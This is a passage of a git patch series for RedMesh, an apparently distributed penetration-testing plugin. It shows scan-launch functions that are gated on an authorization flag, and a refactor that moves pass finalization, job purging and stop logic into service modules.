scan_type=scan_type, + ) + + if not scanner_identity: + scanner_identity = owner.cfg_scanner_identity + if not scanner_user_agent: + scanner_user_agent = owner.cfg_scanner_user_agent + + job_id = owner.uuid(8) + owner.P(f"Launching {job_id=} {target=} with {exceptions=}") + owner.P(f"Announcing pentest to workers (instance_id {owner.cfg_instance_id})...") + + job_config = JobConfig( + target=target, + start_port=start_port, + end_port=end_port, + exceptions=exceptions, + distribution_strategy=distribution_strategy, + port_order=port_order, + nr_local_workers=nr_local_workers, + enabled_features=enabled_features, + excluded_features=excluded_features, + run_mode=run_mode, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + ics_safe_mode=ics_safe_mode, + redact_credentials=redact_credentials, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + task_name=task_name, + task_description=task_description, + monitor_interval=monitor_interval, + selected_peers=active_peers, + created_by_name=created_by_name or "", + created_by_id=created_by_id or "", + authorized=True, + scan_type=scan_type, + target_url=target_url, + official_username=official_username, + official_password=official_password, + regular_username=regular_username, + regular_password=regular_password, + weak_candidates=weak_candidates, + max_weak_attempts=max_weak_attempts, + app_routes=app_routes, + verify_tls=verify_tls, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, + ) + + config_dict = job_config.to_dict() + job_config_cid = owner.r1fs.add_json(config_dict, show_logs=False) + if not job_config_cid: + owner.P("Failed to store job config in R1FS — aborting launch", color='r') + return {"error": "Failed to store job config in R1FS"} + + job_specs = { + "job_id": job_id, + "target": target, + "task_name": task_name, + "scan_type": scan_type, + "target_url": target_url, + "start_port": start_port, + "end_port": end_port, + "risk_score": 0, + "date_created": owner.time(), + "launcher": owner.ee_addr, + "launcher_alias": owner.ee_id, + "timeline": [], + "workers": workers, + "job_status": JOB_STATUS_RUNNING, + "run_mode": run_mode, + "job_pass": 1, + "next_pass_at": None, + "pass_reports": [], + "job_config_cid": job_config_cid, + } + owner._emit_timeline_event( + job_specs, "created", + f"Job created by {created_by_name}", + actor=created_by_name, + actor_type="user" + ) + owner._emit_timeline_event(job_specs, "started", "Scan started", actor=owner.ee_id, actor_type="node") + + try: + redmesh_job_start_attestation = owner._submit_redmesh_job_start_attestation( + job_id=job_id, + job_specs=job_specs, + workers=workers, + ) + if redmesh_job_start_attestation is not None: + job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation + owner._emit_timeline_event( + job_specs, "blockchain_submit", + "Job-start attestation submitted", + actor_type="system", + meta={**redmesh_job_start_attestation, "network": owner.REDMESH_ATTESTATION_NETWORK} + ) + except Exception as exc: + import traceback + owner.P( + f"[ATTESTATION] Failed to submit job-start attestation for job {job_id}: {exc}\n" + f" Type: {type(exc).__name__}\n" + f" Args: {exc.args}\n" + f" Traceback:\n{traceback.format_exc()}", + color='r' + ) + + write_job_record = getattr(type(owner), "_write_job_record", None) + if callable(write_job_record): + write_job_record(owner, job_id, job_specs, context="launch_test") + else: + owner.chainstore_hset(hkey=owner.cfg_instance_id, key=job_id, value=job_specs) + + owner._log_audit_event("scan_launched", { + "job_id": job_id, + "target": target, + "start_port": start_port, + "end_port": end_port, + "launcher": owner.ee_addr, + "enabled_features_count": len(enabled_features), + "redact_credentials": redact_credentials, + "ics_safe_mode": ics_safe_mode, + }) + + all_network_jobs = owner.chainstore_hgetall(hkey=owner.cfg_instance_id) + report = {} + for other_key, other_spec in all_network_jobs.items(): + normalized_key, normalized_spec = owner._normalize_job_record(other_key, other_spec) + if normalized_key and normalized_key != job_id: + report[normalized_key] = normalized_spec + + owner.P(f"Current jobs:\n{owner.json_dumps(all_network_jobs, indent=2)}") + return { + "job_specs": job_specs, + "worker": owner.ee_addr, + "other_jobs": report, + } + + +def launch_network_scan( + owner, + *, + target="", + start_port=1, + end_port=65535, + exceptions="64297", + distribution_strategy="", + port_order="", + excluded_features=None, + run_mode="", + monitor_interval=0, + scan_min_delay=0.0, + scan_max_delay=0.0, + task_name="", + task_description="", + selected_peers=None, + redact_credentials=True, + ics_safe_mode=True, + scanner_identity="", + scanner_user_agent="", + authorized=False, + created_by_name="", + created_by_id="", + nr_local_workers=0, +): + """Launch a network scan using network-specific validation and worker slicing.""" + if not authorized: + return validation_error("Scan authorization required. Confirm you are authorized to scan this target.") + if not target: + return validation_error("target required for network scan") + + start_port = int(start_port) + end_port = int(end_port) + if start_port > end_port: + return validation_error("start_port must be less than end_port") + + options = normalize_common_launch_options( + owner, + distribution_strategy=distribution_strategy, + port_order=port_order, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + nr_local_workers=nr_local_workers, + ) + active_peers, peer_error = resolve_active_peers(owner, selected_peers) + if peer_error: + return peer_error + + workers, worker_error = build_network_workers( + owner, + active_peers, + start_port, + end_port, + options["distribution_strategy"], + ) + if worker_error: + return worker_error + + return announce_launch( + owner, + target=target, + start_port=start_port, + end_port=end_port, + exceptions=parse_exceptions(owner, exceptions), + distribution_strategy=options["distribution_strategy"], + port_order=options["port_order"], + excluded_features=excluded_features, + run_mode=options["run_mode"], + monitor_interval=options["monitor_interval"], + scan_min_delay=options["scan_min_delay"], + scan_max_delay=options["scan_max_delay"], + task_name=task_name, + task_description=task_description, + active_peers=active_peers, + workers=workers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + created_by_name=created_by_name, + created_by_id=created_by_id, + nr_local_workers=options["nr_local_workers"], + scan_type=ScanType.NETWORK.value, + target_url="", + official_username="", + official_password="", + regular_username="", + regular_password="", + weak_candidates=None, + max_weak_attempts=5, + app_routes=None, + verify_tls=True, + target_config=None, + allow_stateful_probes=False, + ) + + +def launch_webapp_scan( + owner, + *, + target_url="", + excluded_features=None, + run_mode="", + monitor_interval=0, + scan_min_delay=0.0, + scan_max_delay=0.0, + task_name="", + task_description="", + selected_peers=None, + redact_credentials=True, + ics_safe_mode=True, + scanner_identity="", + scanner_user_agent="", + authorized=False, + created_by_name="", + created_by_id="", + official_username="", + official_password="", + regular_username="", + regular_password="", + weak_candidates=None, + max_weak_attempts=5, + app_routes=None, + verify_tls=True, + target_config=None, + allow_stateful_probes=False, +): + """Launch a graybox webapp scan using webapp-specific validation and mirrored worker assignment.""" + if not authorized: + return validation_error("Scan authorization required. Confirm you are authorized to scan this target.") + if not target_url: + return validation_error("target_url required for webapp scan") + if not official_username or not official_password: + return validation_error("official credentials required for webapp scan") + + parsed = urlparse(target_url) + if parsed.scheme not in ("http", "https") or not parsed.hostname: + return validation_error("target_url must be a valid http/https URL") + + target = parsed.hostname + target_port = parsed.port or (443 if parsed.scheme == "https" else 80) + + options = normalize_common_launch_options( + owner, + distribution_strategy=DISTRIBUTION_MIRROR, + port_order=PORT_ORDER_SEQUENTIAL, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + nr_local_workers=1, + ) + active_peers, peer_error = resolve_active_peers(owner, selected_peers) + if peer_error: + return peer_error + + workers, worker_error = build_webapp_workers(owner, active_peers, target_port) + if worker_error: + return worker_error + + return announce_launch( + owner, + target=target, + start_port=target_port, + end_port=target_port, + exceptions=[], + distribution_strategy=DISTRIBUTION_MIRROR, + port_order=PORT_ORDER_SEQUENTIAL, + excluded_features=excluded_features, + run_mode=options["run_mode"], + monitor_interval=options["monitor_interval"], + scan_min_delay=options["scan_min_delay"], + scan_max_delay=options["scan_max_delay"], + task_name=task_name, + task_description=task_description, + active_peers=active_peers, + workers=workers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + created_by_name=created_by_name, + created_by_id=created_by_id, + nr_local_workers=1, + scan_type=ScanType.WEBAPP.value, + target_url=target_url, + official_username=official_username, + official_password=official_password, + regular_username=regular_username, + regular_password=regular_password, + weak_candidates=weak_candidates, + max_weak_attempts=max_weak_attempts, + app_routes=app_routes, + verify_tls=verify_tls, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, + ) + + +def launch_test( + owner, + *, + target="", + start_port=1, + end_port=65535, + exceptions="64297", + distribution_strategy="", + port_order="", + excluded_features=None, + run_mode="", + monitor_interval=0, + scan_min_delay=0.0, + scan_max_delay=0.0, + task_name="", + task_description="", + selected_peers=None, + redact_credentials=True, + ics_safe_mode=True, + scanner_identity="", + scanner_user_agent="", + authorized=False, + created_by_name="", + created_by_id="", + nr_local_workers=0, + scan_type="network", + target_url="", + official_username="", + official_password="", + regular_username="", + regular_password="", + weak_candidates=None, + max_weak_attempts=5, + app_routes=None, + verify_tls=True, + target_config=None, + allow_stateful_probes=False, +): + """Compatibility shim that routes to scan-type-specific launch endpoints.""" + try: + scan_type_enum = ScanType(scan_type) + except ValueError: + return validation_error(f"Invalid scan_type: {scan_type}. Valid: {[e.value for e in ScanType]}") + + if scan_type_enum == ScanType.WEBAPP: + return owner.launch_webapp_scan( + target_url=target_url, + excluded_features=excluded_features, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + task_name=task_name, + task_description=task_description, + selected_peers=selected_peers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + authorized=authorized, + created_by_name=created_by_name, + created_by_id=created_by_id, + official_username=official_username, + official_password=official_password, + regular_username=regular_username, + regular_password=regular_password, + weak_candidates=weak_candidates, + max_weak_attempts=max_weak_attempts, + app_routes=app_routes, + verify_tls=verify_tls, + target_config=target_config, + allow_stateful_probes=allow_stateful_probes, + ) + + return owner.launch_network_scan( + target=target, + start_port=start_port, + end_port=end_port, + exceptions=exceptions, + distribution_strategy=distribution_strategy, + port_order=port_order, + excluded_features=excluded_features, + run_mode=run_mode, + monitor_interval=monitor_interval, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + task_name=task_name, + task_description=task_description, + selected_peers=selected_peers, + redact_credentials=redact_credentials, + ics_safe_mode=ics_safe_mode, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + authorized=authorized, + created_by_name=created_by_name, + created_by_id=created_by_id, + nr_local_workers=nr_local_workers, + ) From 39d88c10a16600d7cf0cfb049bf95fc621a10e81 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 16:08:16 +0000 Subject: [PATCH 072/114] refactor: extract redmesh lifecycle services --- .../cybersec/red_mesh/pentester_api_01.py | 569 +----------------- .../cybersec/red_mesh/services/__init__.py | 10 + .../cybersec/red_mesh/services/control.py | 210 +++++++ .../red_mesh/services/finalization.py | 293 +++++++++ 4 files changed, 525 insertions(+), 557 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/services/control.py create mode 100644 extensions/business/cybersec/red_mesh/services/finalization.py diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 73f62d5f..87bdfaec 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -86,11 +86,15 @@ launch_webapp_scan, list_local_jobs, list_network_jobs, + maybe_finalize_pass, normalize_common_launch_options, parse_exceptions, + purge_job, resolve_active_peers, resolve_enabled_features, set_job_status, + stop_and_delete_job, + stop_monitoring, validation_error, ) @@ -1187,328 +1191,8 @@ def _build_job_archive(self, job_key, job_specs): self.P(f"Failed to clean up pass report CID {cid}: {e}", color='y') def _maybe_finalize_pass(self): - """ - Launcher finalizes completed passes and orchestrates continuous monitoring. - - For all jobs, this method: - 1. Detects when all workers have finished the current pass - 2. Records pass completion in pass_reports - - For CONTINUOUS_MONITORING jobs, additionally: - 3. Schedules the next pass after monitor_interval - 4. Resets all workers when it's time to start the next pass - - Only the launcher node executes this logic. - - Returns - ------- - None - """ - all_jobs = self.chainstore_hgetall(hkey=self.cfg_instance_id) - - for job_key, job_specs in all_jobs.items(): - normalized_key, job_specs = self._normalize_job_record(job_key, job_specs) - if normalized_key is None: - continue - - # Only launcher manages pass finalization - is_launcher = job_specs.get("launcher") == self.ee_addr - if not is_launcher: - continue - - workers = job_specs.get("workers", {}) - if not workers: - continue - - run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) - job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) - all_finished = all(w.get("finished") for w in workers.values()) - next_pass_at = job_specs.get("next_pass_at") - job_pass = job_specs.get("job_pass", 1) - job_id = job_specs.get("job_id") - pass_reports = job_specs.setdefault("pass_reports", []) - - # Skip jobs that are already finalized, stopped, or mid-finalization - if is_terminal_job_status(job_status): - # Stuck recovery: if no job_cid, the archive build failed previously — retry - # But only if there are pass reports to build from (hard-stopped jobs - # that never completed a pass have nothing to archive) - if not job_specs.get("job_cid") and pass_reports: - self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') - self._build_job_archive(job_id, job_specs) - continue - if is_intermediate_job_status(job_status): - continue - - if all_finished and next_pass_at is None: - # ═══════════════════════════════════════════════════ - # STATE: All peers completed current pass - # ═══════════════════════════════════════════════════ - pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") - pass_date_completed = self.time() - now_ts = pass_date_completed - - # --- COLLECTING: merge worker reports --- - set_job_status(job_specs, JOB_STATUS_COLLECTING) - job_specs = PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="finalize_collecting") - - # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge - node_reports = self._collect_node_reports(workers) - aggregated = self._get_aggregated_report(node_reports) if node_reports else {} - - # 2. RISK SCORE + FLAT FINDINGS (single walk) - risk_score = 0 - flat_findings = [] - risk_result = None - if aggregated: - risk_result, flat_findings = self._compute_risk_and_findings(aggregated) - risk_score = risk_result["score"] - job_specs["risk_score"] = risk_score - self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") - - # --- ANALYZING: LLM analysis --- - job_config = self._get_job_config(job_specs) - llm_text = None - summary_text = None - if self.cfg_llm_agent_api_enabled and aggregated: - set_job_status(job_specs, JOB_STATUS_ANALYZING) - job_specs = PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="finalize_analyzing") - llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) - summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) - - # 4. LLM FAILURE HANDLING - llm_failed = True if (self.cfg_llm_agent_api_enabled and (llm_text is None or summary_text is None)) else None - if llm_failed: - self._emit_timeline_event( - job_specs, "llm_failed", - f"LLM analysis unavailable for pass {job_pass}", - meta={"pass_nr": job_pass} - ) - - # 5. BUILD WORKER METADATA from already-fetched node_reports - worker_metas = {} - for addr, report in node_reports.items(): - nr_findings = self._count_all_findings(report) - - worker_metas[addr] = WorkerReportMeta( - report_cid=workers[addr].get("report_cid", ""), - start_port=report.get("start_port", 0), - end_port=report.get("end_port", 0), - ports_scanned=report.get("ports_scanned", 0), - open_ports=report.get("open_ports", []), - nr_findings=nr_findings, - node_ip=report.get("node_ip", ""), - ).to_dict() - - # 6. STORE aggregated report as separate CID - aggregated_report_cid = None - if aggregated: - aggregated_data = AggregatedScanData.from_dict(aggregated).to_dict() - aggregated_report_cid = self.r1fs.add_json(aggregated_data, show_logs=False) - if not aggregated_report_cid: - self.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') - continue # skip pass finalization, retry next loop - - # 7. ATTESTATION — compute but don't emit timeline yet (inserted at correct point below) - redmesh_test_attestation = None - should_submit_attestation = True - if run_mode == RUN_MODE_CONTINUOUS_MONITORING: - last_attestation_at = job_specs.get("last_attestation_at") - min_interval = self.cfg_attestation_min_seconds_between_submits - if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: - elapsed = round(now_ts - last_attestation_at) - self.P( - f"[ATTESTATION] Skipping test attestation for job {job_id}: " - f"last submitted {elapsed}s ago, min interval is {min_interval}s", - color='y' - ) - should_submit_attestation = False - - if should_submit_attestation: - try: - # Collect node IPs from worker reports for attestation - attestation_node_ips = [ - r.get("node_ip") for r in node_reports.values() - if r.get("node_ip") - ] - redmesh_test_attestation = self._submit_redmesh_test_attestation( - job_id=job_id, - job_specs=job_specs, - workers=workers, - vulnerability_score=risk_score, - node_ips=attestation_node_ips, - report_cid=aggregated_report_cid, - ) - if redmesh_test_attestation is not None: - job_specs["last_attestation_at"] = now_ts - except Exception as exc: - import traceback - self.P( - f"[ATTESTATION] Failed to submit test attestation for job {job_id}: {exc}\n" - f" Type: {type(exc).__name__}\n" - f" Args: {exc.args}\n" - f" Traceback:\n{traceback.format_exc()}", - color='r' - ) - - # 8. MERGE SCAN METRICS across nodes + store per-node/per-thread metrics - worker_scan_metrics = {} - for addr, report in node_reports.items(): - if report.get("scan_metrics"): - entry = {"scan_metrics": report["scan_metrics"]} - # Attach per-thread breakdown if available - if report.get("thread_scan_metrics"): - entry["threads"] = report["thread_scan_metrics"] - worker_scan_metrics[addr] = entry - node_metrics = [e["scan_metrics"] for e in worker_scan_metrics.values()] - pass_metrics = None - if node_metrics: - pass_metrics = node_metrics[0] if len(node_metrics) == 1 else self._merge_worker_metrics(node_metrics) - - # 9. COMPOSE PassReport - pass_report = PassReport( - pass_nr=job_pass, - date_started=pass_date_started, - date_completed=pass_date_completed, - duration=round(pass_date_completed - pass_date_started, 2) if pass_date_started else 0, - aggregated_report_cid=aggregated_report_cid or "", - worker_reports=worker_metas, - risk_score=risk_score, - risk_breakdown=risk_result["breakdown"] if risk_result else None, - llm_analysis=llm_text, - quick_summary=summary_text, - llm_failed=llm_failed, - findings=flat_findings if flat_findings else None, - scan_metrics=pass_metrics, - worker_scan_metrics=worker_scan_metrics if worker_scan_metrics else None, - redmesh_test_attestation=redmesh_test_attestation, - ) - - # 10. STORE PassReport as single CID - pass_report_cid = self.r1fs.add_json(pass_report.to_dict(), show_logs=False) - if not pass_report_cid: - self.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') - continue # skip — don't append partial state to CStore - - # 11. UPDATE CStore with lightweight PassReportRef - pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) - - # --- FINALIZING: writing archive --- - set_job_status(job_specs, JOB_STATUS_FINALIZING) - job_specs = PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="finalize_finalizing") - - # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore - if run_mode == RUN_MODE_SINGLEPASS: - set_job_status(job_specs, JOB_STATUS_FINALIZED) - self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") - if redmesh_test_attestation is not None: - self._emit_timeline_event( - job_specs, "blockchain_submit", - "Job-finished attestation submitted", - actor_type="system", - meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} - ) - self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") - self._emit_timeline_event(job_specs, "finalized", "Job finalized") - self._build_job_archive(job_key, job_specs) - self._clear_live_progress(job_id, list(workers.keys())) - continue - - # CONTINUOUS_MONITORING logic below - - # Check if soft stop was scheduled — build archive and prune CStore - if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: - set_job_status(job_specs, JOB_STATUS_STOPPED) - self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") - if redmesh_test_attestation is not None: - self._emit_timeline_event( - job_specs, "blockchain_submit", - f"Test attestation submitted (pass {job_pass})", - actor_type="system", - meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} - ) - self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") - self._emit_timeline_event(job_specs, "stopped", "Job stopped") - self._build_job_archive(job_key, job_specs) - self._clear_live_progress(job_id, list(workers.keys())) - continue - - if job_pass >= MAX_CONTINUOUS_PASSES: - set_job_status(job_specs, JOB_STATUS_STOPPED) - self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") - self._emit_timeline_event( - job_specs, - "pass_cap_reached", - f"Maximum continuous passes reached ({MAX_CONTINUOUS_PASSES})", - meta={"pass_nr": job_pass, "max_continuous_passes": MAX_CONTINUOUS_PASSES}, - ) - self._log_audit_event("continuous_pass_cap_reached", { - "job_id": job_id, - "pass_nr": job_pass, - "max_continuous_passes": MAX_CONTINUOUS_PASSES, - }) - if redmesh_test_attestation is not None: - self._emit_timeline_event( - job_specs, "blockchain_submit", - f"Test attestation submitted (pass {job_pass})", - actor_type="system", - meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} - ) - self.P( - f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. " - f"Status set to STOPPED (max {MAX_CONTINUOUS_PASSES} passes reached)" - ) - self._emit_timeline_event(job_specs, "stopped", "Job stopped") - self._build_job_archive(job_key, job_specs) - self._clear_live_progress(job_id, list(workers.keys())) - continue - - # Schedule next pass — attestation event goes with pass_completed - if redmesh_test_attestation is not None: - self._emit_timeline_event( - job_specs, "blockchain_submit", - f"Test attestation submitted (pass {job_pass})", - actor_type="system", - meta={**redmesh_test_attestation, "network": self.REDMESH_ATTESTATION_NETWORK} - ) - set_job_status(job_specs, JOB_STATUS_RUNNING) - interval = job_config.get("monitor_interval", self.cfg_monitor_interval) - jitter = random.uniform(0, self.cfg_monitor_jitter) - job_specs["next_pass_at"] = self.time() + interval + jitter - self._emit_timeline_event(job_specs, "pass_completed", f"Pass {job_pass} completed") - - self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Next pass in {interval}s (+{jitter:.1f}s jitter)") - PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="continuous_next_pass") - self._clear_live_progress(job_id, list(workers.keys())) - - # Clear from completed_jobs_reports to allow relaunch - self.completed_jobs_reports.pop(job_id, None) - if job_id in self.lst_completed_jobs: - self.lst_completed_jobs.remove(job_id) - - elif run_mode == RUN_MODE_CONTINUOUS_MONITORING and all_finished and next_pass_at and self.time() >= next_pass_at: - # ═══════════════════════════════════════════════════ - # STATE: Interval elapsed, start next pass - # ═══════════════════════════════════════════════════ - job_specs["job_pass"] = job_pass + 1 - job_specs["next_pass_at"] = None - self._emit_timeline_event(job_specs, "pass_started", f"Pass {job_pass + 1} started") - - for addr in workers: - workers[addr]["finished"] = False - workers[addr]["result"] = None - workers[addr]["report_cid"] = None - # end for each worker reset - - self.P(f"[CONTINUOUS] Starting pass {job_pass + 1} for job {job_id}", boxed=True) - PentesterApi01Plugin._write_job_record(self, job_key, job_specs, context="continuous_restart") - - # Clear local tracking to allow relaunch - self.completed_jobs_reports.pop(job_id, None) - if job_id in self.lst_completed_jobs: - self.lst_completed_jobs.remove(job_id) - #end for each job - return + """Finalize completed passes and orchestrate continuous monitoring.""" + return maybe_finalize_pass(self) def _get_all_network_jobs(self): @@ -2008,183 +1692,14 @@ def list_local_jobs(self): @BasePlugin.endpoint def stop_and_delete_job(self, job_id : str): - """ - Stop a running job, mark it stopped, then delegate to purge_job - for full R1FS + CStore cleanup. - - Parameters - ---------- - job_id : str - Identifier of the job to stop and delete. - - Returns - ------- - dict - Status of the purge operation including CID deletion counts. - """ - # Stop local workers if running - local_workers = self.scan_jobs.get(job_id) - if local_workers: - self.P(f"Stopping and deleting job {job_id}.") - for local_worker_id, job in local_workers.items(): - self.P(f"Stopping job {job_id} on local worker {local_worker_id}.") - job.stop() - self.P(f"Job {job_id} stopped.") - # Remove from active jobs - self.scan_jobs.pop(job_id, None) - - # Mark as stopped in CStore so purge_job accepts it - raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - if isinstance(raw_job_specs, dict): - _, job_specs = self._normalize_job_record(job_id, raw_job_specs) - worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) - worker_entry["finished"] = True - worker_entry["canceled"] = True - set_job_status(job_specs, JOB_STATUS_STOPPED) - self._emit_timeline_event(job_specs, "stopped", "Job stopped and deleted", actor_type="user") - PentesterApi01Plugin._write_job_record(self, job_id, job_specs, context="stop_and_delete") - else: - # Job not found in CStore — nothing to purge - self._log_audit_event("scan_stopped", {"job_id": job_id}) - return {"status": "success", "job_id": job_id, "cids_deleted": 0, "cids_total": 0} - - # Delegate full cleanup to purge_job - self._log_audit_event("scan_stopped", {"job_id": job_id}) - return self.purge_job(job_id) + """Stop a running job, then delegate to purge cleanup.""" + return stop_and_delete_job(self, job_id) @BasePlugin.endpoint def purge_job(self, job_id: str): - """ - Purge a job: delete all R1FS artifacts, clean up live progress keys, - then tombstone the CStore entry. - - Safety invariant: delete ALL R1FS artifacts first, THEN tombstone CStore. - If R1FS deletion fails partway, leave CStore intact so CIDs remain - discoverable for a retry. - - Parameters - ---------- - job_id : str - Identifier of the job to purge. - - Returns - ------- - dict - Status of the purge operation including CID deletion counts. - """ - raw = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - if not isinstance(raw, dict): - return {"status": "error", "message": f"Job {job_id} not found."} - - _, job_specs = self._normalize_job_record(job_id, raw) - - # Reject if job is still running - job_status = job_specs.get("job_status", "") - workers = job_specs.get("workers", {}) - if workers and any(not w.get("finished") for w in workers.values()): - return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - if job_status not in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED) and workers: - return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - - # ── Collect all CIDs (deduplicated) ── - cids = set() - - def _track(cid, source): - """Add CID and log where it was found.""" - if cid and isinstance(cid, str) and cid not in cids: - cids.add(cid) - self.P(f"[PURGE] Collected CID {cid} from {source}") - - # Job config CID - _track(job_specs.get("job_config_cid"), "job_specs.job_config_cid") - - # Archive CID (finalized jobs) - job_cid = job_specs.get("job_cid") - if job_cid: - _track(job_cid, "job_specs.job_cid") - # Fetch archive to find nested CIDs - try: - archive = self.r1fs.get_json(job_cid) - if isinstance(archive, dict): - self.P(f"[PURGE] Archive fetched OK, {len(archive.get('passes', []))} passes") - for pi, pass_data in enumerate(archive.get("passes", [])): - _track(pass_data.get("aggregated_report_cid"), f"archive.passes[{pi}].aggregated_report_cid") - for addr, wr in (pass_data.get("worker_reports") or {}).items(): - if isinstance(wr, dict): - _track(wr.get("report_cid"), f"archive.passes[{pi}].worker_reports[{addr}].report_cid") - else: - self.P(f"[PURGE] Archive fetch returned non-dict: {type(archive)}", color='y') - except Exception as e: - self.P(f"[PURGE] Failed to fetch archive {job_cid}: {e}", color='r') - - # Worker report CIDs (running/stopped jobs — finalized stubs have no workers) - for addr, w in workers.items(): - _track(w.get("report_cid"), f"workers[{addr}].report_cid") - - # Pass report CIDs + nested CIDs (running/stopped jobs) - for ri, ref in enumerate(job_specs.get("pass_reports", [])): - report_cid = ref.get("report_cid") - if report_cid: - _track(report_cid, f"pass_reports[{ri}].report_cid") - try: - pass_data = self.r1fs.get_json(report_cid) - if isinstance(pass_data, dict): - _track(pass_data.get("aggregated_report_cid"), f"pass_reports[{ri}]->aggregated_report_cid") - for addr, wr in (pass_data.get("worker_reports") or {}).items(): - if isinstance(wr, dict): - _track(wr.get("report_cid"), f"pass_reports[{ri}]->worker_reports[{addr}].report_cid") - else: - self.P(f"[PURGE] Pass report fetch returned non-dict: {type(pass_data)}", color='y') - except Exception as e: - self.P(f"[PURGE] Failed to fetch pass report {report_cid}: {e}", color='r') - - self.P(f"[PURGE] Total CIDs collected: {len(cids)}: {sorted(cids)}") - - # ── Delete R1FS artifacts ── - deleted, failed = 0, 0 - for cid in cids: - try: - success = self.r1fs.delete_file(cid, show_logs=True, raise_on_error=False) - if success: - deleted += 1 - self.P(f"[PURGE] Deleted CID {cid}") - else: - failed += 1 - self.P(f"[PURGE] delete_file returned False for CID {cid}", color='r') - except Exception as e: - self.P(f"[PURGE] Failed to delete CID {cid}: {e}", color='r') - failed += 1 - - if failed > 0: - # Some CIDs couldn't be deleted — leave CStore intact for retry - self.P(f"Purge incomplete: {failed}/{len(cids)} CIDs failed. CStore kept.", color='r') - return { - "status": "partial", - "job_id": job_id, - "cids_deleted": deleted, - "cids_failed": failed, - "cids_total": len(cids), - "message": "Some R1FS artifacts could not be deleted. Retry purge later.", - } - - # ── Clean up live progress keys ── - all_live = self.chainstore_hgetall(hkey=f"{self.cfg_instance_id}:live") - if isinstance(all_live, dict): - prefix = f"{job_id}:" - for key in all_live: - if key.startswith(prefix): - self.chainstore_hset( - hkey=f"{self.cfg_instance_id}:live", key=key, value=None - ) - - # ── ALL R1FS artifacts deleted — safe to tombstone CStore ── - PentesterApi01Plugin._delete_job_record(self, job_id) - - self.P(f"Purged job {job_id}: {deleted}/{len(cids)} CIDs deleted.") - self._log_audit_event("job_purged", {"job_id": job_id, "cids_deleted": deleted, "cids_total": len(cids)}) - - return {"status": "success", "job_id": job_id, "cids_deleted": deleted, "cids_total": len(cids)} + """Purge a job after it reaches a stoppable terminal state.""" + return purge_job(self, job_id) @BasePlugin.endpoint @@ -2237,68 +1752,8 @@ def get_audit_log(self, limit: int = 100): @BasePlugin.endpoint(method="post") def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): - """ - Stop a job (any run mode with HARD stop, continuous-only for SOFT stop). - - Parameters - ---------- - job_id : str - Identifier of the job to stop. - stop_type : str, optional - "SOFT" (default): Let current pass complete, then stop. - Sets job_status="SCHEDULED_FOR_STOP". Only valid for continuous monitoring. - "HARD": Stop immediately. Sets job_status="STOPPED". Works for any run mode. - - Returns - ------- - dict - Status including job_id and passes completed. - """ - raw_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - if not raw_job_specs: - return {"error": "Job not found", "job_id": job_id} - - _, job_specs = self._normalize_job_record(job_id, raw_job_specs) - stop_type = str(stop_type).upper() - is_continuous = 